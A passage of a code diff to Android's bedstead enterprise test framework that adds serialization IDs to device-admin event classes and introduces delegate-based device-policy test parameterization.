DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
UserHandleQueryHelper<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery>
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
index 3a8d159..7cfc991 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
@@ -38,6 +38,8 @@
*/
public final class DeviceAdminTransferOwnershipCompleteEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminTransferOwnershipCompleteEvent} events. */
public static DeviceAdminTransferOwnershipCompleteEventQuery queryPackage(String packageName) {
return new DeviceAdminTransferOwnershipCompleteEventQuery(packageName);
@@ -47,6 +49,9 @@
public static final class DeviceAdminTransferOwnershipCompleteEventQuery
extends EventLogsQuery<DeviceAdminTransferOwnershipCompleteEvent,
DeviceAdminTransferOwnershipCompleteEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminTransferOwnershipCompleteEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
PersistableBundleQueryHelper<DeviceAdminTransferOwnershipCompleteEventQuery> mBundle =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
index f87ab08..633286a 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminUserAddedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminUserAddedEvent} events. */
public static DeviceAdminUserAddedEventQuery queryPackage(String packageName) {
return new DeviceAdminUserAddedEventQuery(packageName);
@@ -48,6 +50,9 @@
public static final class DeviceAdminUserAddedEventQuery
extends EventLogsQuery<DeviceAdminUserAddedEvent,
DeviceAdminUserAddedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminUserAddedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminUserAddedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
index dc844ef09..9669a84 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminUserRemovedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminUserRemovedEvent} events. */
public static DeviceAdminUserRemovedEventQuery queryPackage(String packageName) {
return new DeviceAdminUserRemovedEventQuery(packageName);
@@ -48,6 +50,9 @@
public static final class DeviceAdminUserRemovedEventQuery
extends EventLogsQuery<DeviceAdminUserRemovedEvent,
DeviceAdminUserRemovedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminUserRemovedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminUserRemovedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
index 54a5e96..e5b4836 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminUserStartedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminUserStartedEvent} events. */
public static DeviceAdminUserStartedEventQuery queryPackage(String packageName) {
return new DeviceAdminUserStartedEventQuery(packageName);
@@ -48,6 +50,9 @@
public static final class DeviceAdminUserStartedEventQuery
extends EventLogsQuery<DeviceAdminUserStartedEvent,
DeviceAdminUserStartedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminUserStartedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminUserStartedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
index 3e48857..4b20642 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
@@ -40,6 +40,8 @@
*/
public final class DeviceAdminUserStoppedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminUserStoppedEvent} events. */
public static DeviceAdminUserStoppedEventQuery queryPackage(String packageName) {
return new DeviceAdminUserStoppedEventQuery(packageName);
@@ -49,6 +51,9 @@
public static final class DeviceAdminUserStoppedEventQuery
extends EventLogsQuery<DeviceAdminUserStoppedEvent,
DeviceAdminUserStoppedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminUserStoppedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminUserStoppedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
index 25287f9..b7c7ea1 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
@@ -40,6 +40,8 @@
*/
public final class DeviceAdminUserSwitchedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminUserSwitchedEvent} events. */
public static DeviceAdminUserSwitchedEventQuery queryPackage(String packageName) {
return new DeviceAdminUserSwitchedEventQuery(packageName);
@@ -49,6 +51,9 @@
public static final class DeviceAdminUserSwitchedEventQuery
extends EventLogsQuery<DeviceAdminUserSwitchedEvent,
DeviceAdminUserSwitchedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminUserSwitchedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminUserSwitchedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
index 6d43808..7ffabbe 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
@@ -16,7 +16,10 @@
package com.android.bedstead.harrier;
+import android.os.Bundle;
+
import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
@@ -72,18 +75,23 @@
return getAnnotationWeight(a) - getAnnotationWeight(b);
}
- private static int getAnnotationWeight(Annotation a) {
- if (!a.annotationType().getPackage().getName().startsWith(BEDSTEAD_PACKAGE_NAME)) {
+ private static int getAnnotationWeight(Annotation annotation) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ // Special case, not important
+ return AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+ }
+
+ if (!annotation.annotationType().getPackage().getName().startsWith(BEDSTEAD_PACKAGE_NAME)) {
return AnnotationRunPrecedence.FIRST;
}
try {
- return (int) a.annotationType().getMethod("weight").invoke(a);
+ return (int) annotation.annotationType().getMethod("weight").invoke(annotation);
} catch (NoSuchMethodException e) {
// Default to PRECEDENCE_NOT_IMPORTANT if no weight is found on the annotation.
return AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
} catch (IllegalAccessException | InvocationTargetException e) {
- throw new NeneException("Failed to invoke weight on this annotation: " + a, e);
+ throw new NeneException("Failed to invoke weight on this annotation: " + annotation, e);
}
}
@@ -92,7 +100,7 @@
*/
public static final class BedsteadFrameworkMethod extends FrameworkMethod {
- private final Class<? extends Annotation> mParameterizedAnnotation;
+ private final Annotation mParameterizedAnnotation;
private final Map<Class<? extends Annotation>, Annotation> mAnnotationsMap =
new HashMap<>();
private Annotation[] mAnnotations;
@@ -103,8 +111,7 @@
public BedsteadFrameworkMethod(Method method, Annotation parameterizedAnnotation) {
super(method);
- this.mParameterizedAnnotation = (parameterizedAnnotation == null) ? null
- : parameterizedAnnotation.annotationType();
+ mParameterizedAnnotation = parameterizedAnnotation;
calculateAnnotations();
}
@@ -124,6 +131,9 @@
this.mAnnotations = annotations.toArray(new Annotation[0]);
for (Annotation annotation : annotations) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ continue; // don't return this
+ }
mAnnotationsMap.put(annotation.annotationType(), annotation);
}
}
@@ -133,7 +143,7 @@
if (mParameterizedAnnotation == null) {
return super.getName();
}
- return super.getName() + "[" + mParameterizedAnnotation.getSimpleName() + "]";
+ return super.getName() + "[" + getParameterName(mParameterizedAnnotation) + "]";
}
@Override
@@ -162,13 +172,20 @@
}
}
+ private static String getParameterName(Annotation annotation) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ return ((DynamicParameterizedAnnotation) annotation).name();
+ }
+ return annotation.annotationType().getSimpleName();
+ }
+
/**
* Resolve annotations recursively.
*
* @param parameterizedAnnotation The class of the parameterized annotation to expand, if any
*/
public static void resolveRecursiveAnnotations(List<Annotation> annotations,
- @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+ @Nullable Annotation parameterizedAnnotation) {
int index = 0;
while (index < annotations.size()) {
Annotation annotation = annotations.get(index);
@@ -181,11 +198,34 @@
}
}
+ private static boolean isParameterizedAnnotation(Annotation annotation) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ return true;
+ }
+
+ return annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null;
+ }
+
+ private static Annotation[] getIndirectAnnotations(Annotation annotation) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ return ((DynamicParameterizedAnnotation) annotation).annotations();
+ }
+ return annotation.annotationType().getAnnotations();
+ }
+
+ private static boolean isRepeatingAnnotation(Annotation annotation) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ return false;
+ }
+
+ return annotation.annotationType().getAnnotation(RepeatingAnnotation.class) != null;
+ }
+
private static List<Annotation> getReplacementAnnotations(Annotation annotation,
- @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+ @Nullable Annotation parameterizedAnnotation) {
List<Annotation> replacementAnnotations = new ArrayList<>();
- if (annotation.annotationType().getAnnotation(RepeatingAnnotation.class) != null) {
+ if (isRepeatingAnnotation(annotation)) {
try {
Annotation[] annotations =
(Annotation[]) annotation.annotationType()
@@ -197,14 +237,12 @@
}
}
- if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null
- && !annotation.annotationType().equals(parameterizedAnnotation)) {
+ if (isParameterizedAnnotation(annotation) && !annotation.equals(parameterizedAnnotation)) {
return replacementAnnotations;
}
- for (Annotation indirectAnnotation : annotation.annotationType().getAnnotations()) {
- String annotationPackage = indirectAnnotation.annotationType().getPackage().getName();
- if (shouldSkipAnnotation(annotationPackage)) {
+ for (Annotation indirectAnnotation : getIndirectAnnotations(annotation)) {
+ if (shouldSkipAnnotation(annotation)) {
continue;
}
@@ -212,12 +250,21 @@
indirectAnnotation, parameterizedAnnotation));
}
- replacementAnnotations.add(annotation);
+ if (!(annotation instanceof DynamicParameterizedAnnotation)) {
+ // We drop the fake annotation once it's replaced
+ replacementAnnotations.add(annotation);
+ }
return replacementAnnotations;
}
- private static boolean shouldSkipAnnotation(String annotationPackage) {
+ private static boolean shouldSkipAnnotation(Annotation annotation) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ return false;
+ }
+
+ String annotationPackage = annotation.annotationType().getPackage().getName();
+
for (String ignoredPackage : sIgnoredAnnotationPackages) {
if (ignoredPackage.endsWith(".*")) {
if (annotationPackage.startsWith(
@@ -236,6 +283,14 @@
super(testClass);
}
+ private boolean annotationShouldBeSkipped(Annotation annotation) {
+ if (annotation instanceof DynamicParameterizedAnnotation) {
+ return false;
+ }
+
+ return annotation.annotationType().equals(IncludeNone.class);
+ }
+
@Override
protected List<FrameworkMethod> computeTestMethods() {
TestClass testClass = getTestClass();
@@ -252,7 +307,7 @@
}
for (Annotation annotation : parameterizedAnnotations) {
- if (annotation.annotationType().equals(IncludeNone.class)) {
+ if (annotationShouldBeSkipped(annotation)) {
// Special case - does not generate a run
continue;
}
@@ -328,7 +383,7 @@
parseEnterpriseAnnotations(annotations);
for (Annotation annotation : annotations) {
- if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null) {
+ if (isParameterizedAnnotation(annotation)) {
parameterizedAnnotations.add(annotation);
}
}
@@ -376,7 +431,7 @@
EnterprisePolicy enterprisePolicy =
policy.getAnnotation(EnterprisePolicy.class);
List<Annotation> replacementAnnotations =
- Policy.cannotSetPolicyStates(policy.getName(), enterprisePolicy);
+ Policy.cannotSetPolicyStates(policy.getName(), enterprisePolicy, ((CannotSetPolicyTest) annotation).includeDeviceAdminStates(), ((CannotSetPolicyTest) annotation).includeNonDeviceAdminStates());
replacementAnnotations.sort(BedsteadJUnit4::annotationSorter);
annotations.addAll(index, replacementAnnotations);
@@ -418,4 +473,17 @@
return rules;
}
+
+ /**
+ * True if the test is running in debug mode.
+ *
+ * <p>This will result in additional debugging information being added which would otherwise
+ * be dropped to improve test performance.
+ *
+ * <p>To enable this, pass the "bedstead-debug" instrumentation arg as "true"
+ */
+ public static boolean isDebug() {
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ return Boolean.parseBoolean(arguments.getString("bedstead-debug", "false"));
+ }
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index cfdef77..bb0783c 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -17,6 +17,8 @@
package com.android.bedstead.harrier;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_DEFAULT;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_FALSE;
import static com.android.bedstead.nene.permissions.Permissions.NOTIFY_PENDING_SYSTEM_UPDATE;
import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
@@ -58,6 +60,7 @@
import com.android.bedstead.harrier.annotations.RequireSdkVersion;
import com.android.bedstead.harrier.annotations.RequireUserSupported;
import com.android.bedstead.harrier.annotations.TestTag;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
@@ -83,7 +86,11 @@
import com.android.bedstead.nene.utils.ShellCommand;
import com.android.bedstead.nene.utils.Tags;
import com.android.bedstead.nene.utils.Versions;
+import com.android.bedstead.remotedpc.RemoteDelegate;
import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import com.android.eventlib.EventLogs;
@@ -344,6 +351,17 @@
continue;
}
+ if (annotation instanceof EnsureHasDelegate) {
+ EnsureHasDelegate ensureHasDelegateAnnotation =
+ (EnsureHasDelegate) annotation;
+ ensureHasDelegate(
+ ensureHasDelegateAnnotation.admin(),
+ Arrays.asList(ensureHasDelegateAnnotation.scopes()),
+ ensureHasDelegateAnnotation.isPrimary());
+ continue;
+ }
+
+
if (annotation instanceof EnsureHasDeviceOwner) {
EnsureHasDeviceOwner ensureHasDeviceOwnerAnnotation =
(EnsureHasDeviceOwner) annotation;
@@ -600,12 +618,12 @@
Tags.clearTags();
Tags.addTag(Tags.USES_DEVICESTATE);
-
- boolean originalStopBgUsersOnSwitch =
- TestApis.users().getStopBgUsersOnSwitch();
+ if (TestApis.packages().instrumented().isInstantApp()) {
+ Tags.addTag(Tags.INSTANT_APP);
+ }
try {
- TestApis.users().setStopBgUsersOnSwitch(false);
+ TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_FALSE);
try {
List<Annotation> annotations =
@@ -642,7 +660,7 @@
teardownShareableState();
}
- TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
+ TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
}
}
};
@@ -876,7 +894,7 @@
mProfiles = new HashMap<>();
private DevicePolicyController mDeviceOwner;
private Map<UserReference, DevicePolicyController> mProfileOwners = new HashMap<>();
- private DevicePolicyController mPrimaryDpc;
+ private RemotePolicyManager mPrimaryPolicyManager;
private final List<UserReference> mCreatedUsers = new ArrayList<>();
private final List<UserBuilder> mRemovedUsers = new ArrayList<>();
@@ -1289,9 +1307,11 @@
broadcastReceiver.unregisterQuietly();
}
mRegisteredBroadcastReceivers.clear();
- mPrimaryDpc = null;
+ mPrimaryPolicyManager = null;
}
+ private Set<TestAppInstance> mInstalledTestApps = new HashSet<>();
+
private void teardownShareableState() {
if (mOriginalSwitchedUser != null) {
if (!mOriginalSwitchedUser.exists()) {
@@ -1351,6 +1371,11 @@
}
mRemovedUsers.clear();
+
+ for (TestAppInstance installedTestApp : mInstalledTestApps) {
+ installedTestApp.uninstall();
+ }
+ mInstalledTestApps.clear();
}
private UserReference createProfile(
@@ -1392,16 +1417,64 @@
}
}
+ private void ensureHasDelegate(
+ EnsureHasDelegate.AdminType adminType, List<String> scopes, boolean isPrimary) {
+ RemotePolicyManager dpc = getDeviceAdmin(adminType);
+
+
+ boolean specifiesAdminType = adminType != EnsureHasDelegate.AdminType.PRIMARY;
+ boolean currentPrimaryPolicyManagerIsNotDelegator = mPrimaryPolicyManager != dpc;
+
+ if (isPrimary && mPrimaryPolicyManager != null
+ && (specifiesAdminType || currentPrimaryPolicyManagerIsNotDelegator)) {
+ throw new IllegalStateException(
+ "Only one DPC can be marked as primary per test (current primary is "
+ + mPrimaryPolicyManager + ")");
+ }
+
+ if (!dpc.user().equals(TestApis.users().instrumented())) {
+ // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
+ ensureCanGetPermission(INTERACT_ACROSS_USERS_FULL);
+ }
+
+ ensureTestAppInstalled(RemoteDelegate.sTestApp, dpc.user());
+ RemoteDelegate delegate = new RemoteDelegate(RemoteDelegate.sTestApp, dpc().user());
+ dpc.devicePolicyManager().setDelegatedScopes(
+ dpc.componentName(), delegate.packageName(), scopes);
+
+ if (isPrimary) {
+ mPrimaryPolicyManager = delegate;
+ }
+ }
+
+ private RemotePolicyManager getDeviceAdmin(EnsureHasDelegate.AdminType adminType) {
+ switch (adminType) {
+ case DEVICE_OWNER:
+ return deviceOwner();
+ case PROFILE_OWNER:
+ return profileOwner();
+ case PRIMARY:
+ return dpc();
+ default:
+ throw new IllegalStateException("Unknown device admin type " + adminType);
+ }
+ }
+
+ private void ensureTestAppInstalled(TestApp testApp, UserReference user) {
+ mInstalledTestApps.add(testApp.install(user));
+ }
+
private void ensureHasDeviceOwner(FailureMode failureMode, boolean isPrimary,
Set<String> affiliationIds) {
// TODO(scottjonathan): Should support non-remotedpc device owner (default to remotedpc)
UserReference userReference = TestApis.users().system();
- if (isPrimary && mPrimaryDpc != null && !userReference.equals(mPrimaryDpc.user())) {
+ if (isPrimary && mPrimaryPolicyManager != null && !userReference.equals(
+ mPrimaryPolicyManager.user())) {
throw new IllegalStateException(
"Only one DPC can be marked as primary per test (current primary is "
- + mPrimaryDpc + ")");
+ + mPrimaryPolicyManager + ")");
}
if (!userReference.equals(TestApis.users().instrumented())) {
// INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
@@ -1453,7 +1526,7 @@
}
if (isPrimary) {
- mPrimaryDpc = mDeviceOwner;
+ mPrimaryPolicyManager = RemoteDpc.forDevicePolicyController(mDeviceOwner);
}
RemoteDpc.forDevicePolicyController(mDeviceOwner)
@@ -1469,7 +1542,8 @@
private void ensureHasProfileOwner(
UserReference user, boolean isPrimary, Set<String> affiliationIds) {
- if (isPrimary && mPrimaryDpc != null && !user.equals(mPrimaryDpc.user())) {
+ if (isPrimary && mPrimaryPolicyManager != null
+ && !user.equals(mPrimaryPolicyManager.user())) {
throw new IllegalStateException("Only one DPC can be marked as primary per test");
}
@@ -1499,7 +1573,7 @@
}
if (isPrimary) {
- mPrimaryDpc = mProfileOwners.get(user);
+ mPrimaryPolicyManager = RemoteDpc.forDevicePolicyController(mProfileOwners.get(user));
}
if (affiliationIds != null) {
@@ -1668,20 +1742,22 @@
}
/**
- * Get the most appropriate {@link RemoteDpc} instance for the device state.
+ * Get the most appropriate {@link RemotePolicyManager} instance for the device state.
*
* <p>This method should only be used by tests which are annotated with {@link PolicyTest}.
*
- * <p>If no DPC is set as the "primary" DPC for the device state, then this method will first
+ * <p>This may be a DPC, a delegate, or a normal app with or without given permissions.
+ *
+ * <p>If no policy manager is set as "primary" for the device state, then this method will first
* check for a profile owner in the current user, or else check for a device owner.
*
* <p>If no Harrier-managed profile owner or device owner exists, an exception will be thrown.
*
* <p>If the profile owner or device owner is not a RemoteDPC then an exception will be thrown.
*/
- public RemoteDpc dpc() {
- if (mPrimaryDpc != null) {
- return RemoteDpc.forDevicePolicyController(mPrimaryDpc);
+ public RemotePolicyManager dpc() {
+ if (mPrimaryPolicyManager != null) {
+ return mPrimaryPolicyManager;
}
if (mProfileOwners.containsKey(TestApis.users().instrumented())) {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java
new file mode 100644
index 0000000..15afb2b
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import java.lang.annotation.Annotation;
+import java.util.Arrays;
+import java.util.Objects;
+
+/**
+ * A fake annotation used inside {@link Policy} and {@link BedsteadJUnit4} to inject
+ * new parameterizations.
+ */
+public final class DynamicParameterizedAnnotation implements Annotation {
+ private final String mName;
+ private final Annotation[] mAnnotations;
+
+ DynamicParameterizedAnnotation(String name, Annotation[] annotations) {
+ mName = name;
+ mAnnotations = annotations;
+ }
+
+ /** Get the parameterization name. */
+ public String name() {
+ return mName;
+ }
+
+ /** Get the annotations applied to the parameterization. */
+ public Annotation[] annotations() {
+ return mAnnotations;
+ }
+
+ @Override
+ public Class<? extends Annotation> annotationType() {
+ // This is special cased in BedsteadJUnit4 so will never be called
+ return null;
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ if (this == o) return true;
+ if (!(o instanceof DynamicParameterizedAnnotation)) return false;
+ DynamicParameterizedAnnotation that = (DynamicParameterizedAnnotation) o;
+ return Objects.equals(mName, that.mName) && Arrays.equals(mAnnotations,
+ that.mAnnotations);
+ }
+
+ @Override
+ public int hashCode() {
+ int result = Objects.hash(mName);
+ result = 31 * result + Arrays.hashCode(mAnnotations);
+ return result;
+ }
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
index c588ace..e01c8f1 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
@@ -16,6 +16,18 @@
package com.android.bedstead.harrier;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+import static android.app.admin.DevicePolicyManager.DELEGATION_INSTALL_EXISTING_PACKAGE;
+import static android.app.admin.DevicePolicyManager.DELEGATION_KEEP_UNINSTALLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
+
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
@@ -28,9 +40,11 @@
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_PARENT;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_UNAFFILIATED_OTHER_USERS;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DO_NOT_APPLY_TO_NEGATIVE_TESTS;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.NO;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
import com.android.bedstead.harrier.annotations.parameterized.IncludeNone;
import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnAffiliatedDeviceOwnerSecondaryUser;
@@ -47,21 +61,94 @@
import com.google.auto.value.AutoAnnotation;
import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
import java.lang.annotation.Annotation;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
/**
* Utility class for enterprise policy tests.
*/
public final class Policy {
+ // Delegate scopes to be used for a "CannotSet" state. All delegate scopes except the ones which
+ // should allow use of the API will be granted
+ private static final ImmutableSet<String> ALL_DELEGATE_SCOPES = ImmutableSet.of(
+ DELEGATION_CERT_INSTALL,
+ DELEGATION_APP_RESTRICTIONS,
+ DELEGATION_BLOCK_UNINSTALL,
